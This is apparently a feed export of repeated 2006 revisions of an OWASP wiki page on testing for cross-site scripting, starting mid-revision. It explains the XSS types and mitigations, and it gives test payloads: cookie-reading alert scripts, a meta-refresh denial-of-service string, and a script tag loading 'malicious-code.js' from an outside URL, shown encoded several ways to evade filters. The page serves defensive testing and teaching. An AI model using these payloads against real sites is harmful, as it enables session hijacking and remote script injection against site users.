'''&amp;quot; style=&amp;quot;background:url(JavaScript:alert(Malicious Content));'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ASP.NET&amp;lt;/b&amp;gt;&lt;br /&gt;
With ASP.NET, you can use the following functions to help prevent Cross-Site Scripting:&lt;br /&gt;
* Constrain input submitted via server controls by using ASP.NET validater controls, such as '''RegularExpressionValidator''', '''RangeValidator''', and '''System.Text.RegularExpression.Regex'''. Using these methods as server-side controls to limit data input to only allowable character sequences by validating input type, length, format, and character range.&lt;br /&gt;
* Use the '''HtmlUtility.HtmlEncode''' method to encode data if it originates from either a user or from a database. HtmlEncode replaces special characters with their HTML equivalents, thus preventing the output from being executable in the browser. Use HtmlUtility.UrlEncode when writing URLs that may have originated from user input or stored database information.&lt;br /&gt;
* Use the '''HttpOnly cookie''' option for added protection.&lt;br /&gt;
* As a best practice, you should use regular expressions to constrain input to known safe characters. Do not rely solely on ASP.NET validateRequest, but use it in addition to your other input validation and encoding mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
When you know certain types of countermeasures have been applied to code, you may want to try some tactics like this:&lt;br /&gt;
&lt;br /&gt;
''Example 1:''&lt;br /&gt;
&lt;br /&gt;
Since JavaScript is case sensitive, some people attempt to filter XSS by converting all characters to upper case thinking render Cross Site Scripting useless. If this is the case, you may want to use VBScript since it is not a case sensative language.&lt;br /&gt;
&lt;br /&gt;
JavaScript: &amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VBScript: &amp;lt;script type=&amp;quot;text/vbscript&amp;quot;&amp;gt;alert(DOCUMENT.COOKIE)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''Example 2:''&lt;br /&gt;
&lt;br /&gt;
If they are filtering for the &amp;lt; or the open of &amp;lt;script or closing of script&amp;gt; you should try various methods of encoding:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script src=http://www.owasp.org/malicious-code.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
%3cscript src=http://www.owasp.org/malicious-code.js%3e%3c/script%3e&lt;br /&gt;
&lt;br /&gt;
\x3cscript src=http://www.owasp.org/malicious-code.js\x3e\x3c/script\x3e&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* Amit Klien: &amp;quot;DOM Based Cross Site Scripting&amp;quot; - http://www.securiteam.com/securityreviews/5MP080KGKW.html&lt;br /&gt;
&lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Hacking Intranet Websites from the Outside &amp;quot;JavaScript malware just got a lot more dangerous&amp;quot;&amp;quot; - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13663</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13663"/>
				<updated>2006-11-24T19:32:21Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Cross Site Scripting is one of the most common application level attacks. Many times people will look at a Cross Site Scripting (also known as XSS, CSS was avoided not to confuse people with Cascade Styling Sheets) attack and say WOW you made a JavaScript popup window, but how does this effect me?&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting vulnerabilities are essentially code injection attacks. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases Cross Site Scripting vulnerabilities can even perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Furthermore, we will provide more detailed information about the three types of Cross Site Scripting vulnerabilities, DOM-Based, Stored and Reflected.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user. - Identity theft!&lt;br /&gt;
&lt;br /&gt;
Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross-Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide-range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but it can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities.&lt;br /&gt;
Cross site scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The '''DOM-based Cross-Site Scripting''' problem exists within a page's client-side script itself. If the JavaScript accesses a URL request parameter (an example would be an RSS feed) and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS vulnerability will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script.&lt;br /&gt;
Exploiting such a hole would be very similar to the exploit of Reflected XSS vulnerabilities , except in one very important situation. &lt;br /&gt;
&lt;br /&gt;
An example would be, if an attacker hosts a malicious website, which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The '''Reflected Cross-Site Scripting''' vulnerability is bar far the most common and well know type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.&lt;br /&gt;
&lt;br /&gt;
At first glance, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in DOM-Based XSS vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities. The simplest way to show the importance of a XSS vulnerability would be to perform a Denial of Service attack.&lt;br /&gt;
In some cases a denial of service attack can be performed on the server by doing the Following:      &lt;br /&gt;
article.php?title=&amp;lt;meta%20http-equiv=&amp;quot;refresh&amp;quot;%20content=&amp;quot;0;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes. &lt;br /&gt;
&lt;br /&gt;
The '''Stored Cross Site Scripting''' vulnerability, is the most powerful kinds of  XSS attacks. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entities. A real life example of this would be SAMY, the XSS vulnerability found on MySpace in October of 2005.&lt;br /&gt;
These vulnerabilities are more significant than other types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering or the web application could even be infected by a cross-site scripting virus.&lt;br /&gt;
&lt;br /&gt;
The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how if you posted a stored XSS script to a popular blog, newspaper or page comments section of a website, all the visitors of that page would have their internal networks scanned and logged for a particular type of vulnerability.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult. Consider implementing the following recommendations if one or more XSS vulnerabilities have been detected in your application&lt;br /&gt;
&lt;br /&gt;
The following general recommendations can help mitigate the risk associated with Cross-Site Scripting vulnerabilities. This is a complex problem area so there is no one simple fix or solution:&lt;br /&gt;
* Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form.&lt;br /&gt;
* Ensure that any executables on your server do not return scripts in executable form when passed scripts as malformed command parameters.&lt;br /&gt;
* Consider converting JavaScript and HTML tags into alternate HTML encodings (such as “&amp;lt;” to “&amp;amp;lt;&amp;gt;.&lt;br /&gt;
* If your site runs online forums or message boards, disallow the use of HTML tags and Scripting in these areas.&lt;br /&gt;
* Keep up with the latest security vulnerabilities and bugs for all production applications and servers.&lt;br /&gt;
* Update your production servers with the latest XSS vulnerabilities by downloading current patches, and perform frequent security audits on all deployed applications.&lt;br /&gt;
The root cause of Cross-Site Scripting is a failure to filter hazardous characters from web application input and output. The two most critical programming practices you can institute to guard against Cross-Site Scripting are:&lt;br /&gt;
* Validate Input&lt;br /&gt;
* Encode output&lt;br /&gt;
Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.&lt;br /&gt;
There are different tools you can use to validate and encode your data, depending upon your development environment. Your goal in remediating Cross-Site Scripting attacks is to filter and encode all potentially dangerous characters so that the application does not return data that the browser will interpret as executable.  Any unescaped or unecoded data that is returned to the browser is a potential security risk.&lt;br /&gt;
The following characters can be harmful and should be filtered whenever they appear in the application input or output. In output, you should translate these characters to their HTML equivalents before returning data to the browser.&amp;lt;BR&amp;gt;&lt;br /&gt;
'''&amp;gt;     &amp;lt;   (     )     [     ]     '     &amp;quot;     ;     :     /     |'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;&lt;br /&gt;
The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:&lt;br /&gt;
* '''Strip_tags()''' removes HTML and PHP scripting tags from a string.&lt;br /&gt;
* '''Utf8_decode()''' converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.&lt;br /&gt;
* '''Htmlspecialcharacters()''' turns characters such as '''&amp;amp;,&amp;gt;,&amp;lt;,”''' into their HTML equivalents. Converting special characters to HTML prevents them from being executed within browsers when outputted by an application.&lt;br /&gt;
* '''Strtr()''' filters any characters you specify. Make sure to filter  “; : ( )” characters so that attackers cannot craft strings that generate alerts. Many XSS attacks are possible without the use of HTML characters, so filtering and encoding parentheses mitigates these attacks.&amp;lt;BR&amp;gt;For example:&lt;br /&gt;
'''&amp;quot; style=&amp;quot;background:url(JavaScript:alert(Malicious Content));'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ASP.NET&amp;lt;/b&amp;gt;&lt;br /&gt;
With ASP.NET, you can use the following functions to help prevent Cross-Site Scripting:&lt;br /&gt;
* Constrain input submitted via server controls by using ASP.NET validater controls, such as '''RegularExpressionValidator''', '''RangeValidator''', and '''System.Text.RegularExpression.Regex'''. Using these methods as server-side controls to limit data input to only allowable character sequences by validating input type, length, format, and character range.&lt;br /&gt;
* Use the '''HtmlUtility.HtmlEncode''' method to encode data if it originates from either a user or from a database. HtmlEncode replaces special characters with their HTML equivalents, thus preventing the output from being executable in the browser. Use HtmlUtility.UrlEncode when writing URLs that may have originated from user input or stored database information.&lt;br /&gt;
* Use the '''HttpOnly cookie''' option for added protection.&lt;br /&gt;
* As a best practice, you should use regular expressions to constrain input to known safe characters. Do not rely solely on ASP.NET validateRequest, but use it in addition to your other input validation and encoding mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
When you know certain types of countermeasures have been applied to code, you may want to try some tactics like this:&lt;br /&gt;
&lt;br /&gt;
''Example 1:''&lt;br /&gt;
&lt;br /&gt;
Since JavaScript is case sensitive, some people convert all characters to upper case, trying to render Cross Site Scripting useless. If this is the case, you may want to use VBScript.&lt;br /&gt;
&lt;br /&gt;
JavaScript: &amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VBScript: &amp;lt;script type=&amp;quot;text/vbscript&amp;quot;&amp;gt;alert(DOCUMENT.COOKIE)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''Example 2:''&lt;br /&gt;
&lt;br /&gt;
If they are filtering for the &amp;lt; or the open of &amp;lt;script or closing of script&amp;gt; you should try various methods of encoding:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script src=http://www.owasp.org/malicious-code.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
%3cscript src=http://www.owasp.org/malicious-code.js%3e%3c/script%3e&lt;br /&gt;
&lt;br /&gt;
\x3cscript src=http://www.owasp.org/malicious-code.js\x3e\x3c/script\x3e&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* Amit Klien: &amp;quot;DOM Based Cross Site Scripting&amp;quot; - http://www.securiteam.com/securityreviews/5MP080KGKW.html&lt;br /&gt;
&lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Hacking Intranet Websites from the Outside &amp;quot;JavaScript malware just got a lot more dangerous&amp;quot;&amp;quot; - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13662</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13662"/>
				<updated>2006-11-24T19:14:31Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Cross Site Scripting is one of the most common application level attacks. Many times people will look at a Cross Site Scripting (also known as XSS, CSS was avoided not to confuse people with Cascade Styling Sheets) attack and say WOW you made a JavaScript popup window, but how does this effect me?&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting vulnerabilities are essentially code injection attacks. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases Cross Site Scripting vulnerabilities can even perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Furthermore, we will provide more detailed information about the three types of Cross Site Scripting vulnerabilities, DOM-Based, Stored and Reflected.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user. - Identity theft!&lt;br /&gt;
&lt;br /&gt;
Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross-Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide-range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but it can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities.&lt;br /&gt;
Cross site scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult. Consider implementing the following recommendations if one or more XSS vulnerabilities have been detected in your application&lt;br /&gt;
&lt;br /&gt;
The following general recommendations can help mitigate the risk associated with Cross-Site Scripting vulnerabilities. This is a complex problem area so there is no one simple fix or solution:&lt;br /&gt;
* Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form.&lt;br /&gt;
* Ensure that any executables on your server do not return scripts in executable form when passed scripts as malformed command parameters.&lt;br /&gt;
* Consider converting JavaScript and HTML tags into alternate HTML encodings (such as “&amp;lt;” to “&amp;amp;lt;&amp;gt;.&lt;br /&gt;
* If your site runs online forums or message boards, disallow the use of HTML tags and Scripting in these areas.&lt;br /&gt;
* Keep up with the latest security vulnerabilities and bugs for all production applications and servers.&lt;br /&gt;
* Update your production servers with the latest XSS vulnerabilities by downloading current patches, and perform frequent security audits on all deployed applications.&lt;br /&gt;
The root cause of Cross-Site Scripting is a failure to filter hazardous characters from web application input and output. The two most critical programming practices you can institute to guard against Cross-Site Scripting are:&lt;br /&gt;
* Validate Input&lt;br /&gt;
* Encode output&lt;br /&gt;
Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.&lt;br /&gt;
There are different tools you can use to validate and encode your data, depending upon your development environment. Your goal in remediating Cross-Site Scripting attacks is to filter and encode all potentially dangerous characters so that the application does not return data that the browser will interpret as executable.  Any unescaped or unecoded data that is returned to the browser is a potential security risk.&lt;br /&gt;
The following characters can be harmful and should be filtered whenever they appear in the application input or output. In output, you should translate these characters to their HTML equivalents before returning data to the browser.&amp;lt;BR&amp;gt;&lt;br /&gt;
'''&amp;gt;     &amp;lt;   (     )     [     ]     '     &amp;quot;     ;     :     /     |'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;&lt;br /&gt;
The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:&lt;br /&gt;
* '''Strip_tags()''' removes HTML and PHP scripting tags from a string.&lt;br /&gt;
* '''Utf8_decode()''' converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.&lt;br /&gt;
* '''Htmlspecialcharacters()''' turns characters such as '''&amp;amp;,&amp;gt;,&amp;lt;,”''' into their HTML equivalents. Converting special characters to HTML prevents them from being executed within browsers when outputted by an application.&lt;br /&gt;
* '''Strtr()''' filters any characters you specify. Make sure to filter  “; : ( )” characters so that attackers cannot craft strings that generate alerts. Many XSS attacks are possible without the use of HTML characters, so filtering and encoding parentheses mitigates these attacks.&amp;lt;BR&amp;gt;For example:&lt;br /&gt;
'''&amp;quot; style=&amp;quot;background:url(JavaScript:alert(Malicious Content));'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ASP.NET&amp;lt;/b&amp;gt;&lt;br /&gt;
With ASP.NET, you can use the following functions to help prevent Cross-Site Scripting:&lt;br /&gt;
* Constrain input submitted via server controls by using ASP.NET validater controls, such as '''RegularExpressionValidator''', '''RangeValidator''', and '''System.Text.RegularExpression.Regex'''. Using these methods as server-side controls to limit data input to only allowable character sequences by validating input type, length, format, and character range.&lt;br /&gt;
* Use the '''HtmlUtility.HtmlEncode''' method to encode data if it originates from either a user or from a database. HtmlEncode replaces special characters with their HTML equivalents, thus preventing the output from being executable in the browser. Use HtmlUtility.UrlEncode when writing URLs that may have originated from user input or stored database information.&lt;br /&gt;
* Use the '''HttpOnly cookie''' option for added protection.&lt;br /&gt;
* As a best practice, you should use regular expressions to constrain input to known safe characters. Do not rely solely on ASP.NET validateRequest, but use it in addition to your other input validation and encoding mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
When you know certain types of countermeasures have been applied to code, you may want to try some tactics like this:&lt;br /&gt;
&lt;br /&gt;
''Example 1:''&lt;br /&gt;
&lt;br /&gt;
Since JavaScript is case sensitive, some people convert all characters to upper case, trying to render Cross Site Scripting useless. If this is the case, you may want to use VBScript.&lt;br /&gt;
&lt;br /&gt;
JavaScript: &amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VBScript: &amp;lt;script type=&amp;quot;text/vbscript&amp;quot;&amp;gt;alert(DOCUMENT.COOKIE)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
''Example 2:''&lt;br /&gt;
&lt;br /&gt;
If they are filtering for the &amp;lt; or the open of &amp;lt;script or closing of script&amp;gt; you should try various methods of encoding:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script src=http://www.owasp.org/malicious-code.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
%3cscript src=http://www.owasp.org/malicious-code.js%3e%3c/script%3e&lt;br /&gt;
&lt;br /&gt;
\x3cscript src=http://www.owasp.org/malicious-code.js\x3e\x3c/script\x3e&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
* Amit Klien: &amp;quot;DOM Based Cross Site Scripting&amp;quot; - http://www.securiteam.com/securityreviews/5MP080KGKW.html&lt;br /&gt;
&lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Hacking Intranet Websites from the Outside &amp;quot;JavaScript malware just got a lot more dangerous&amp;quot;&amp;quot; - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13661</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13661"/>
				<updated>2006-11-24T19:13:50Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Cross Site Scripting is one of the most common application level attacks. Many times people will look at a Cross Site Scripting (also known as XSS, CSS was avoided not to confuse people with Cascade Styling Sheets) attack and say WOW you made a JavaScript popup window, but how does this effect me?&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting vulnerabilities are essentially code injection attacks. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases Cross Site Scripting vulnerabilities can even perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Furthermore, we will provide more detailed information about the three types of Cross Site Scripting vulnerabilities, DOM-Based, Stored and Reflected.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user. - Identity theft!&lt;br /&gt;
&lt;br /&gt;
